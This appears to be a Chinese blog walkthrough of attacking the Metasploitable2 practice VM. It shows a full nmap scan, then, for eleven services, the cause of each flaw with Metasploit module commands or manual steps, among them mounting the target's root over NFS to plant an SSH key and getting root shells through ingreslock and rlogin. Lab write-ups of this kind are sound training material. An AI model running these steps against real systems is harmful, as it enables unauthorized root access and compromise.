metasploitable 2

1.介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。

2.信息收集

nmap -sC -sV -p1-65535 192.168.27.130
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.27.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-08-05T11:36:31+00:00; -23s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      39790/udp   mountd
|   100005  1,2,3      45853/tcp   mountd
|   100021  1,3,4      39894/tcp   nlockmgr
|   100021  1,3,4      60786/udp   nlockmgr
|   100024  1          43990/udp   status
|_  100024  1          55792/tcp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 34
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: Xue{\8C(>@fa5#ODGu:`
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-08-05T11:36:31+00:00; -23s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 4:09:34
|   source ident: nmap
|   source host: 7C0BBA6A.3ED45D4B.FFFA6D49.IP
|_  error: Closing Link: mnwipmpxc[192.168.27.131] (Quit: mnwipmpxc)
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
39894/tcp open  nlockmgr    1-4 (RPC #100021)
45853/tcp open  mountd      1-3 (RPC #100005)
55792/tcp open  status      1 (RPC #100024)
55853/tcp open  java-rmi    GNU Classpath grmiregistry

3.漏洞利用

一、Samba远程Shell命令注入执行漏洞(CVE-2007-2447)

  1. 产生原因

传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行

  1. 漏洞利用
search samba
use exploit/multi/samba/usermap_script
set payload 
set rhosts
run

二、Vsftpd源码包含后门漏洞

  1. 产生原因

vsftpd 2.3.4版本被植入了后门代码,远程攻击者可利用这个问题控制受影响系统。当用户名以“: )”结尾时,服务器就会在6200端口监听,并且能够执行任意代码。

  1. 漏洞利用
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOST
exploit

三、UnreallRCd后门漏洞

  1. 产生原因

在 2009 年 11 月到 2010 年 6 月间分布于某些镜面站点的 UNreallRCd,在 DEBUG3_DOLOG_SYSTEM 宏中包含外部引入的恶意代码
影响系统/软件:Unreal UnreallRCd3.2.8.1

  1. 漏洞利用
search unreal ircd
use exploit/unix/irc/unre ircd 3281backdoor
show options
set RHOST
exploit

四、Java RMI SERVER命令执行漏洞(CVE-2017-3241 )

  1. 产生原因

RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。

Java rmi远程调用如下:
在这里插入图片描述

  • 客户对象调用客户端辅助对象上的方法
  • 客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象
  • 服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
  • 调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象
  • 服务端辅助对象将结果打包,发送给客户端辅助对象
  • 客户端辅助对象将返回值解包,返回给客户对象
  • 客户对象获得返回值

1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。

  1. 漏洞利用
search java_rmi_server
use exploit/multi/misc/java_rmi_server
show options
set RHOST
exploit

五、SSH爆破

  1. 产生原因
  2. 漏洞利用
search search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
set RHOST
exploit

六、Distcc后门漏洞

  1. 产生原因

Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制。
影响系统/软件: distcc 2.x

  1. 漏洞利用
serach distcc
use exploit/unix/misc/distcc_exec
show options
set RHOST
exploit

七、Ingreslock后门漏洞

  1. 产生原因

Ingreslock后门程序监听1524端口,连接到1524端口就可以直接获取root权限。

  1. 漏洞利用
telnet RHOST 1524

八、PHP CGI参数注入执行漏洞

  1. 产生原因

用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
所以,Apache服务器按要求实现了这个功能。
apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行
影响版本: php < 5.3.12 php < 5.4.2

  1. 漏洞利用
use exploit/multi/http/php_cgi_arg_injection
show options
set RHOST
exploit

九、Druby远程代码执行漏洞

  1. 产生原因

Druby配置不当,被滥用执行命令
影响系统/软件:Ruby 1.8

  1. 漏洞利用
search drb
use exploit/linux/misc/drb_remote_codeexec
show options
set RHOST
exploit

十、Linux NFS共享目录配置漏洞

  1. 产生原因

NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys可被修改,实现远程ssh无密码登陆。
影响系统/软件:所有Linux系统的NFS服务

  1. 漏洞利用
rpcinfo -p 192.168.127.135			#查看nfs服务有无开启
showmount -e 192.168.127.135		#查看其设置的远程共享目录列表
#在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里
ssh-keygen							#生成rsa公钥
mkdir /tmp/t00l
mount –t nfs 192.168.127.135:/ /tmp/t00l		#把192.168.127.135的根目录挂载到/tmp/t00l/下
cat /root/.ssh/id_rsa.pub >>  /tmp/t00l/root/.ssh/authorized_keys		#把生成的公钥追加到靶机的authorized_keys下
sshroot@192.168.127.135				#实现无密码登陆

十一、Rlogin 后门漏洞

  1. 产生原因
  • TCP端口512,513和514为著名的rlogin提供服务。
  • 在系统之后被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts+)。
  • 要利用这个配置,确保rsh客户端已经按照(在linux操作系统上安装Open ssh),然后以root权限允许下列命令,
  • 如果被提示需要一个SSH秘钥,这表示RSH客户端没有安装,ubuntu一般默认使用SSH(Debin GNU/Linux 也是如此)
  1. 漏洞利用
rlogin -l root 目标IP地址 使用最高权限登录
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值